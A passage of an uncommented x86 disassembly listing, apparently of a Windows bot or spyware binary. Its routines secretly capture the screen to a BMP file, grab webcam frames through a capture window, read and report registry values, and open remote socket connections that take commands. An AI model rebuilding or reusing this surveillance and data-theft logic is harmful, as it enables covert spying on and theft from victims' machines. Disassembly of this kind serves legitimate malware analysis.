bp-based frame sub_40F99B proc near ; CODE XREF: sub_4019A5+F7p ; sub_401C87:loc_402213p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_418C10 lea eax, [ebp+var_80] push eax call sub_40F927 add esp, 14h leave retn sub_40F99B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_40F9F6 push ebx push dword ptr [ebp+10h] push offset dword_4419C0 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40764A add esp, 14h loc_40F9F6: ; CODE XREF: .data:0040F9DDj cmp [ebp+18h], ebx jz short loc_40FA0E push dword ptr [ebp+18h] call sub_417960 cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_40FA0E mov [ebp-8], eax loc_40FA0E: ; CODE XREF: .data:0040F9F9j ; .data:0040FA09j mov [ebp+14h], ebx mov esi, offset dword_4D93B0 loc_40FA16: ; CODE XREF: .data:0040FA5Ej mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_40FA60 cmp [esi], bl jz short loc_40FA4F cmp [ebp+18h], ebx jz short loc_40FA3B cmp [ebp-4], ebx jnz short loc_40FA3B push dword ptr [ebp+18h] push esi call sub_411A8C pop ecx test eax, eax pop ecx jz short loc_40FA4F loc_40FA3B: ; CODE XREF: .data:0040FA25j ; .data:0040FA2Aj push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40764A add esp, 14h loc_40FA4F: ; CODE XREF: .data:0040FA20j ; .data:0040FA39j inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset dword_4DD3B0 jl short loc_40FA16 loc_40FA60: ; CODE XREF: .data:0040FA1Cj pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40FA64 proc near ; CODE XREF: sub_401C87+22A1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4D93B0 xor ecx, ecx loc_40FA6B: ; CODE XREF: sub_40FA64+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4DD3B0 jl short loc_40FA6B cmp [esp+arg_C], ecx jnz short loc_40FA99 push ecx push [esp+4+arg_8] push offset dword_4419CC push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40764A add esp, 14h loc_40FA99: ; CODE XREF: sub_40FA64+19j push offset dword_4419E0 call sub_40F927 pop ecx retn sub_40FA64 endp ; =============== S U B R O U T I N E ======================================= sub_40FAA5 proc near ; CODE XREF: sub_40C16C+219p arg_0 = dword ptr 4 push esi mov esi, offset dword_4D93B0 loc_40FAAB: ; CODE XREF: sub_40FAA5+27j cmp byte ptr [esi], 0 jz short loc_40FAC0 push [esp+4+arg_0] push esi call sub_411A8C pop ecx test eax, eax pop ecx jnz short loc_40FAD2 loc_40FAC0: ; CODE XREF: sub_40FAA5+9j add esi, 80h cmp esi, offset dword_4DD3B0 jl short loc_40FAAB xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40FAD2: ; CODE XREF: sub_40FAA5+19j xor eax, eax pop esi inc eax retn sub_40FAA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD7 proc near ; DATA XREF: sub_401C87+2351o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] xor edx, edx rep movsd xor edi, edi mov [ebp+var_8], 80h inc edi cmp [ebp+var_10], edx mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40FB2A push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_4419F4 push eax push [ebp+var_11C] call sub_40764A add esp, 14h loc_40FB2A: ; CODE XREF: sub_40FAD7+33j cmp [ebp+var_98], 0 jz short loc_40FB4A lea eax, [ebp+var_98] push eax call sub_417960 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40FB4A mov [ebp+var_8], eax loc_40FB4A: ; CODE XREF: sub_40FAD7+5Aj ; sub_40FAD7+6Ej and [ebp+arg_0], 0 mov esi, offset dword_4D93B0 loc_40FB53: ; CODE XREF: sub_40FAD7+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40FBAD cmp byte ptr [esi], 0 jz short loc_40FB9C cmp [ebp+var_98], 0 jz short loc_40FB82 cmp [ebp+var_4], 0 jnz short loc_40FB82 lea eax, [ebp+var_98] push eax push esi call sub_411A8C pop ecx test eax, eax pop ecx jz short loc_40FB9C loc_40FB82: ; CODE XREF: sub_40FAD7+90j ; sub_40FAD7+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40764A add esp, 14h loc_40FB9C: ; CODE XREF: sub_40FAD7+87j ; sub_40FAD7+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_4DD3B0 jl short loc_40FB53 loc_40FBAD: ; CODE XREF: sub_40FAD7+82j lea eax, [ebp+var_31C] push offset dword_441A10 push eax call sub_417CB0 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40FBE7 push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40764A add esp, 14h loc_40FBE7: ; CODE XREF: sub_40FAD7+EEj lea eax, [ebp+var_31C] push eax call sub_40F927 push [ebp+var_18] call sub_409979 pop ecx pop ecx push esi call dword_4E03A0 ; ExitThread pop edi pop esi sub_40FAD7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC06 proc near ; CODE XREF: sub_401C87+3202p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4D6654 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_40FE3A push 8 push edi call dword_4D6670 ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call dword_4D6670 ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call dword_4D6670 ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_40FC68 push 18h push edi call dword_4D6670 ; GetDeviceCaps mov ebx, 100h jmp short loc_40FC6A ; --------------------------------------------------------------------------- loc_40FC68: ; CODE XREF: sub_40FC06+50j xor ebx, ebx loc_40FC6A: ; CODE XREF: sub_40FC06+60j push edi call dword_4D66B4 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_40FE1F mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4D66AC ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_40FE2A push eax push [ebp+var_4] call dword_4D6538 ; SelectObject cmp eax, esi jz loc_40FE2A cmp eax, 0FFFFFFFFh jz loc_40FE2A push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4D66B0 ; BitBlt test eax, eax jz loc_40FE2A cmp ebx, esi jz short loc_40FD27 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4D658C ; GetDIBColorTable mov ebx, eax loc_40FD27: ; CODE XREF: sub_40FC06+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call dword_4E03D8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40FE0A lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call dword_4E03B4 ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call dword_4E03B4 ; WriteFile cmp ebx, esi jz short loc_40FDEC lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call dword_4E03B4 ; WriteFile loc_40FDEC: ; CODE XREF: sub_40FC06+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call dword_4E03B4 ; WriteFile push [ebp+arg_0] call dword_4E032C ; CloseHandle xor esi, esi inc esi loc_40FE0A: ; CODE XREF: sub_40FC06+1A2j push [ebp+var_1C] call dword_4D65C4 ; DeleteObject push [ebp+var_4] call dword_4D6524 ; DeleteDC mov edi, [ebp+var_20] loc_40FE1F: ; CODE XREF: sub_40FC06+70j push edi call dword_4D6524 ; DeleteDC mov eax, esi jmp short loc_40FE3C ; --------------------------------------------------------------------------- loc_40FE2A: ; CODE XREF: sub_40FC06+C7j ; sub_40FC06+D9j ... push edi call dword_4D6524 ; DeleteDC push [ebp+var_4] call dword_4D6524 ; DeleteDC loc_40FE3A: ; CODE XREF: sub_40FC06+23j xor eax, eax loc_40FE3C: ; CODE XREF: sub_40FC06+222j pop edi pop esi pop ebx leave retn sub_40FC06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE41 proc near ; CODE XREF: sub_401C87+3339p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push dword_4DD3B0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4D65B8 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40FE7F mov eax, esi jmp loc_410035 ; --------------------------------------------------------------------------- loc_40FE7F: ; CODE XREF: sub_40FE41+35j push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_40FE9C push ebx push [ebp+arg_4] push 40Ah push edi call dword_4D66C4 ; SendMessageA jmp short loc_40FE9E ; --------------------------------------------------------------------------- loc_40FE9C: ; CODE XREF: sub_40FE41+47j xor eax, eax loc_40FE9E: ; CODE XREF: sub_40FE41+59j cmp eax, ebx jnz short loc_40FEA9 loc_40FEA2: ; CODE XREF: sub_40FE41+88j ; sub_40FE41+BCj mov ebx, esi jmp loc_41002A ; --------------------------------------------------------------------------- loc_40FEA9: ; CODE XREF: sub_40FE41+5Fj push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_40FEC6 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4D66C4 ; SendMessageA loc_40FEC6: ; CODE XREF: sub_40FE41+71j cmp [ebp+var_20], ebx jz short loc_40FEA2 push edi call dword_4D6608 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_40FEEC push ebx push ebx push edi push [ebp+var_4] call dword_4D66C4 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_40FEEF ; --------------------------------------------------------------------------- loc_40FEEC: ; CODE XREF: sub_40FE41+98j mov [ebp+arg_4], ebx loc_40FEEF: ; CODE XREF: sub_40FE41+A9j push [ebp+arg_4] call sub_415090 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40FEA2 push [ebp+arg_4] call sub_415090 mov esi, eax pop ecx cmp esi, ebx jnz short loc_40FF16 xor ebx, ebx inc ebx jmp loc_41002A ; --------------------------------------------------------------------------- loc_40FF16: ; CODE XREF: sub_40FE41+CBj push [ebp+var_4] call dword_4D6608 ; IsWindow test eax, eax jz short loc_40FF33 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4D66C4 ; SendMessageA loc_40FF33: ; CODE XREF: sub_40FE41+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_419330 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_40FF4E mov ecx, 280h loc_40FF4E: ; CODE XREF: sub_40FE41+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_40FF5A mov eax, 1E0h loc_40FF5A: ; CODE XREF: sub_40FE41+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4D6608 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_40FFA4 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4D66C4 ; SendMessageA loc_40FFA4: ; CODE XREF: sub_40FE41+153j push [ebp+var_4] call dword_4D6608 ; IsWindow test eax, eax jz short loc_40FFC1 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4D66C4 ; SendMessageA loc_40FFC1: ; CODE XREF: sub_40FE41+16Ej push [ebp+var_4] call dword_4D6608 ; IsWindow test eax, eax jz short loc_40FFE0 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4D66C4 ; SendMessageA loc_40FFE0: ; CODE XREF: sub_40FE41+18Bj push [ebp+var_4] call dword_4D6608 ; IsWindow test eax, eax jz short loc_40FFFD push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4D66C4 ; SendMessageA loc_40FFFD: ; CODE XREF: sub_40FE41+1AAj push [ebp+var_8] call sub_415C20 push esi call sub_415C20 pop ecx pop ecx push [ebp+var_4] call dword_4D6608 ; IsWindow test eax, eax jz short loc_41002A push ebx push ebx push 40Bh push [ebp+var_4] call dword_4D66C4 ; SendMessageA loc_41002A: ; CODE XREF: sub_40FE41+63j ; sub_40FE41+D0j ... push [ebp+var_4] call dword_4D6718 ; DestroyWindow mov eax, ebx loc_410035: ; CODE XREF: sub_40FE41+39j pop edi pop esi pop ebx leave retn sub_40FE41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41003A proc near ; CODE XREF: sub_401C87+33F4p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push dword_4DD3B0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow_0 ; "Window" call dword_4D65B8 mov edi, eax cmp edi, ebx jnz short loc_410078 mov eax, esi jmp loc_410274 ; --------------------------------------------------------------------------- loc_410078: ; CODE XREF: sub_41003A+35j push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_410095 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4D66C4 ; SendMessageA jmp short loc_410097 ; --------------------------------------------------------------------------- loc_410095: ; CODE XREF: sub_41003A+47j xor eax, eax loc_410097: ; CODE XREF: sub_41003A+59j cmp eax, ebx jnz short loc_4100A2 loc_41009B: ; CODE XREF: sub_41003A+8Bj ; sub_41003A+BCj mov ebx, esi jmp loc_41026B ; --------------------------------------------------------------------------- loc_4100A2: ; CODE XREF: sub_41003A+5Fj push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_4100C2 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4D66C4 ; SendMessageA loc_4100C2: ; CODE XREF: sub_41003A+71j cmp [ebp+var_7C], ebx jz short loc_41009B push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_4100E5 push ebx push ebx push 42Ch push edi call dword_4D66C4 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_4100E8 ; --------------------------------------------------------------------------- loc_4100E5: ; CODE XREF: sub_41003A+96j mov [ebp+arg_4], ebx loc_4100E8: ; CODE XREF: sub_41003A+A9j push [ebp+arg_4] call sub_415090 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41009B push [ebp+arg_4] call sub_415090 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41010F xor ebx, ebx inc ebx jmp loc_41026B ; --------------------------------------------------------------------------- loc_41010F: ; CODE XREF: sub_41003A+CBj push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_41012C push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4D66C4 ; SendMessageA loc_41012C: ; CODE XREF: sub_41003A+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_419330 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_410147 mov ecx, 0A0h loc_410147: ; CODE XREF: sub_41003A+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_410151 push 78h pop eax loc_410151: ; CODE XREF: sub_41003A+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4D6608 ; IsWindow test eax, eax jz short loc_410196 push esi push [ebp+arg_4] push 42Dh push edi call dword_4D66C4 ; SendMessageA loc_410196: ; CODE XREF: sub_41003A+14Aj push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_4101B3 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4D66C4 ; SendMessageA loc_4101B3: ; CODE XREF: sub_41003A+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4D6608 ; IsWindow test eax, eax jz short loc_4101F1 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4D66C4 ; SendMessageA loc_4101F1: ; CODE XREF: sub_41003A+1A3j push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_41020C push [ebp+arg_0] push ebx push 414h push edi call dword_4D66C4 ; SendMessageA loc_41020C: ; CODE XREF: sub_41003A+1C0j push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_410225 push ebx push ebx push 43Eh push edi call dword_4D66C4 ; SendMessageA loc_410225: ; CODE XREF: sub_41003A+1DBj push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_410242 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4D66C4 ; SendMessageA loc_410242: ; CODE XREF: sub_41003A+1F4j push [ebp+var_4] call sub_415C20 push esi call sub_415C20 pop ecx pop ecx push edi call dword_4D6608 ; IsWindow test eax, eax jz short loc_41026B push ebx push ebx push 40Bh push edi call dword_4D66C4 ; SendMessageA loc_41026B: ; CODE XREF: sub_41003A+63j ; sub_41003A+D0j ... push edi call dword_4D6718 ; DestroyWindow mov eax, ebx loc_410274: ; CODE XREF: sub_41003A+39j pop edi pop esi pop ebx leave retn sub_41003A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410279 proc near ; CODE XREF: sub_401C87+20B3p var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_EC = byte ptr -0ECh var_6C = byte ptr -6Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F0h push edi xor edi, edi cmp off_4428FC, edi mov [ebp+var_8], 80h jz loc_410429 push ebx push esi mov eax, offset off_4428FC mov esi, offset dword_442908 loc_4102A4: ; CODE XREF: sub_410279+1A8j lea ecx, [ebp+var_4] push ecx push 20019h push edi push dword ptr [eax] push dword ptr [esi-10h] call dword_4D66D8 ; RegOpenKeyExA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_EC] push eax push edi push edi push dword ptr [esi-8] push [ebp+var_4] call dword_4D6568 ; RegQueryValueExA test eax, eax jnz loc_410410 mov eax, [esi] cmp eax, edi jz loc_4103D0 push eax lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_3F0] push offset dword_442D30 push eax call sub_417CB0 lea eax, [ebp+var_3F0] push (offset aSr+2) push eax call sub_4176E0 mov ebx, eax add esp, 18h cmp ebx, edi jz loc_410410 jmp short loc_41032F ; --------------------------------------------------------------------------- loc_41031D: ; CODE XREF: sub_410279+C7j push dword ptr [esi+4] lea eax, [ebp+var_6C] push eax call sub_417E00 pop ecx test eax, eax pop ecx jz short loc_410347 loc_41032F: ; CODE XREF: sub_410279+A2j push ebx lea eax, [ebp+var_6C] push 64h push eax call sub_4186C0 add esp, 0Ch test eax, eax jnz short loc_41031D jmp loc_4103C7 ; --------------------------------------------------------------------------- loc_410347: ; CODE XREF: sub_410279+B4j push 3Dh push dword ptr [esi+4] call sub_418970 pop ecx test eax, eax pop ecx lea eax, [ebp+var_6C] jz short loc_41038A push (offset aSr+4) push eax call sub_418AC0 push (offset aSr+6) push edi call sub_418AC0 push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_442D3C push eax call sub_417CB0 add esp, 20h jmp short loc_4103A2 ; --------------------------------------------------------------------------- loc_41038A: ; CODE XREF: sub_410279+DFj push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_442D54 push eax call sub_417CB0 add esp, 10h loc_4103A2: ; CODE XREF: sub_410279+10Fj push edi lea eax, [ebp+var_2EC] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A lea eax, [ebp+var_2EC] push eax call sub_40F927 add esp, 18h loc_4103C7: ; CODE XREF: sub_410279+C9j push ebx call sub_414F40 pop ecx jmp short loc_410410 ; --------------------------------------------------------------------------- loc_4103D0: ; CODE XREF: sub_410279+65j lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_442D6C push eax call sub_417CB0 push edi lea eax, [ebp+var_2EC] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A lea eax, [ebp+var_2EC] push eax call sub_40F927 add esp, 28h loc_410410: ; CODE XREF: sub_410279+5Bj ; sub_410279+9Cj ... push [ebp+var_4] call dword_4D6644 ; RegCloseKey add esi, 18h lea eax, [esi-0Ch] cmp [eax], edi jnz loc_4102A4 pop esi pop ebx loc_410429: ; CODE XREF: sub_410279+19j pop edi leave retn sub_410279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41042C proc near ; CODE XREF: sub_4104B2+33p ; sub_410A18+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4D66E8 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4104A8 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417700 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4D6668 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_4D66A8 ; inet_addr cmp eax, esi jnz short loc_41048D push [ebp+arg_0] call dword_4D66EC ; gethostbyname test eax, eax jz short loc_4104A8 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_41048D: ; CODE XREF: sub_41042C+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4D6610 ; connect cmp eax, esi jnz short loc_4104AC push edi call dword_4D6700 ; closesocket loc_4104A8: ; CODE XREF: sub_41042C+1Bj ; sub_41042C+58j mov eax, esi jmp short loc_4104AE ; --------------------------------------------------------------------------- loc_4104AC: ; CODE XREF: sub_41042C+73j mov eax, edi loc_4104AE: ; CODE XREF: sub_41042C+7Ej pop edi pop esi leave retn sub_41042C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104B2 proc near ; DATA XREF: sub_401C87+9EDo var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_4181D0 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push [ebp+var_14] xor esi, esi inc esi mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_41042C mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_410545 lea eax, [ebp+var_11B4] push offset unk_442D84 push eax call sub_417CB0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_410528 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40764A add esp, 14h loc_410528: ; CODE XREF: sub_4104B2+59j lea eax, [ebp+var_11B4] push eax call sub_40F927 push [ebp+var_10] call sub_409979 pop ecx pop ecx push esi call dword_4E03A0 ; ExitThread loc_410545: ; CODE XREF: sub_4104B2+3Fj push offset dword_4DD3CC push ebx call sub_413DAC pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4105B0 lea eax, [ebp+var_11B4] push offset unk_442DA8 push eax call sub_417CB0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_41058C push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40764A add esp, 14h loc_41058C: ; CODE XREF: sub_4104B2+BDj lea eax, [ebp+var_11B4] push eax call sub_40F927 pop ecx push ebx call dword_4D6700 ; closesocket push [ebp+var_10] call sub_409979 pop ecx push esi call dword_4E03A0 ; ExitThread loc_4105B0: ; CODE XREF: sub_4104B2+A3j push 64h call dword_4E033C ; Sleep xor edi, edi mov esi, 1000h loc_4105BF: ; CODE XREF: sub_4104B2+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_4D6680 ; recv test eax, eax jle short loc_41061C lea eax, [ebp+var_11B4] push offset asc_442DD8 ; "\n" push eax call sub_418880 lea eax, [ebp+var_11B4] push eax call sub_413B98 add esp, 0Ch test eax, eax jz short loc_41061C push 64h call dword_4E033C ; Sleep push 0Ah call sub_4098A5 test eax, eax pop ecx jnz short loc_4105BF loc_41061C: ; CODE XREF: sub_4104B2+130j ; sub_4104B2+154j lea eax, [ebp+var_11B4] push offset unk_442DDC push eax call sub_417CB0 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_41064F push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40764A add esp, 14h loc_41064F: ; CODE XREF: sub_4104B2+180j lea eax, [ebp+var_11B4] push eax call sub_40F927 pop ecx push ebx call dword_4D6700 ; closesocket push [ebp+var_10] call sub_409979 pop ecx push edi call dword_4E03A0 ; ExitThread sub_4104B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410673 proc near ; DATA XREF: sub_401C87+3726o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr 